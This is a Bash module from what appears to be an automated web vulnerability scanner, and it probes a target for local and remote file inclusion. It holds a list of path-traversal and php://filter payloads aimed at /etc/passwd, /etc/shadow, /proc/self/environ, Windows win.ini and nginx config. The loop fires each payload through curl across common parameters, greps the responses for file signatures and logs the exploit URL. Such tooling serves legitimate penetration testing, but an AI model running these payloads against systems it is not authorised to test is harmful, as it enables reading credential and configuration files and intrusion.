70 lines
2.4 KiB
Bash
Executable File
70 lines
2.4 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
# Vector 03: Local/Remote File Inclusion
|
|
# Desc: LFI/RFI via file parameters, path traversal
|
|
# Detect: file=, page=, include=, template=, load= parameters
|
|
# Severity: CRITICAL
|
|
# Tools: curl
|
|
|
|
vector_lfi() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local findings=0
|
|
|
|
print_info "Testing File Inclusion (LFI/RFI) vectors..."
|
|
|
|
local lfi_params=("file" "page" "include" "template" "load" "document" "folder" "root" "path" "dir" "show" "view" "content")
|
|
local lfi_payloads=(
|
|
"/etc/passwd"
|
|
"../../../../etc/passwd"
|
|
"../../../../windows/win.ini"
|
|
"/proc/self/environ"
|
|
"../../../../etc/hosts"
|
|
"php://filter/convert.base64-encode/resource=index"
|
|
"php://filter/convert.base64-encode/resource=config"
|
|
"/etc/nginx/nginx.conf"
|
|
"../../../../etc/shadow"
|
|
)
|
|
|
|
# Try common LFI parameters
|
|
for param in "${lfi_params[@]}"; do
|
|
for payload in "${lfi_payloads[@]}"; do
|
|
local test_url=""
|
|
if [[ "$target" == *\?* ]]; then
|
|
test_url="${target}&${param}=${payload}"
|
|
else
|
|
test_url="${target}?${param}=${payload}"
|
|
fi
|
|
|
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
|
|
|
if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:\|\[boot loader\]\|\[fonts\]\|LoadProfile\|Windows Registry\|^#\|server_name\|listen\|proxy_pass"; then
|
|
print_find "LFI confirmed!" "File read via parameter $param with payload: $payload"
|
|
echo "SEVERITY: CRITICAL
|
|
VECTOR: Local File Inclusion (LFI)
|
|
DETAIL: LFI via parameter '$param' on $target
|
|
EVIDENCE: System files readable
|
|
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi.txt"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
|
|
# Check for PHP filter base64
|
|
if echo "$response" | grep -qiE '^[A-Za-z0-9+/]*={0,2}$' && [ ${#response} -gt 100 ]; then
|
|
local decoded=$(echo "$response" | base64 -d 2>/dev/null)
|
|
if [ -n "$decoded" ] && echo "$decoded" | grep -qi "<?php\|<\w+\s*\|config\|db_host\|DB_HOST"; then
|
|
print_find "LFI with PHP filter!" "Source code disclosure via php://filter"
|
|
echo "SEVERITY: CRITICAL
|
|
VECTOR: LFI via PHP Filter
|
|
DETAIL: PHP source code disclosure via php://filter on $target
|
|
EVIDENCE: Base64 encoded source retrieved and decoded
|
|
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-php.txt"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
fi
|
|
done
|
|
done
|
|
|
|
return $findings
|
|
}
|